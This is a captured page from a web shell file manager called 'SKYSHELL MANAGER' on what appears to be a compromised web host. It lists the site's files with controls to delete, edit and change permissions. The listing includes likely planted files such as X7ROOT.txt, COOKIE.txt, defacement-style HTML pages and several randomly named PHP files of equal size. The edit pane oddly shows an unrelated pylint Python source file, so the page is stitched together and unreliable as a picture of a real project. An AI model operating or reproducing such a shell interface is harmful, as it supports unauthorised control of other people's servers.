📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: printer.py
# Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html # For details: https://github.com/PyCQA/pylint/blob/main/LICENSE # Copyright (c) https://github.com/PyCQA/pylint/blob/main/CONTRIBUTORS.txt """Base class defining the interface for a printer.""" from __future__ import annotations from abc import ABC, abstractmethod from enum import Enum from typing import NamedTuple from astroid import nodes from pylint.pyreverse.utils import get_annotation_label class NodeType(Enum): CLASS = "class" INTERFACE = "interface" PACKAGE = "package" class EdgeType(Enum): INHERITS = "inherits" IMPLEMENTS = "implements" ASSOCIATION = "association" AGGREGATION = "aggregation" USES = "uses" class Layout(Enum): LEFT_TO_RIGHT = "LR" RIGHT_TO_LEFT = "RL" TOP_TO_BOTTOM = "TB" BOTTOM_TO_TOP = "BT" class NodeProperties(NamedTuple): label: str attrs: list[str] | None = None methods: list[nodes.FunctionDef] | None = None color: str | None = None fontcolor: str | None = None class Printer(ABC): """Base class defining the interface for a printer.""" def __init__( self, title: str, layout: Layout | None = None, use_automatic_namespace: bool | None = None, ) -> None: self.title: str = title self.layout = layout self.use_automatic_namespace = use_automatic_namespace self.lines: list[str] = [] self._indent = "" self._open_graph() def _inc_indent(self) -> None: """Increment indentation.""" self._indent += " " def _dec_indent(self) -> None: """Decrement indentation.""" self._indent = self._indent[:-2] @abstractmethod def _open_graph(self) -> None: """Emit the header lines, i.e. all boilerplate code that defines things like layout etc. """ def emit(self, line: str, force_newline: bool | None = True) -> None: if force_newline and not line.endswith("\n"): line += "\n" self.lines.append(self._indent + line) @abstractmethod def emit_node( self, name: str, type_: NodeType, properties: NodeProperties | None = None, ) -> None: """Create a new node. Nodes can be classes, packages, participants etc. """ @abstractmethod def emit_edge( self, from_node: str, to_node: str, type_: EdgeType, label: str | None = None, ) -> None: """Create an edge from one node to another to display relationships.""" @staticmethod def _get_method_arguments(method: nodes.FunctionDef) -> list[str]: if method.args.args is None: return [] first_arg = 0 if method.type in {"function", "staticmethod"} else 1 arguments: list[nodes.AssignName] = method.args.args[first_arg:] annotations = dict(zip(arguments, method.args.annotations[first_arg:])) for arg in arguments: annotation_label = "" ann = annotations.get(arg) if ann: annotation_label = get_annotation_label(ann) annotations[arg] = annotation_label return [ f"{arg.name}: {ann}" if ann else f"{arg.name}" for arg, ann in annotations.items() ] def generate(self, outputfile: str) -> None: """Generate and save the final outputfile.""" self._close_graph() with open(outputfile, "w", encoding="utf-8") as outfile: outfile.writelines(self.lines) @abstractmethod def _close_graph(self) -> None: """Emit the lines needed to properly close the graph."""
Save